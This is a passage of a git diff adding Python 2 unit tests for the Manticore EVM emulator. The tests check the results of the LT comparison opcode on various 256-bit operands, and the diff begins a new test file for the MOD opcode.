+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMMOD.py b/tests/EVM/test_EVMMOD.py
new file mode 100644
index 0000000..aef694f
--- /dev/null
+++ b/tests/EVM/test_EVMMOD.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_MOD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_MOD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
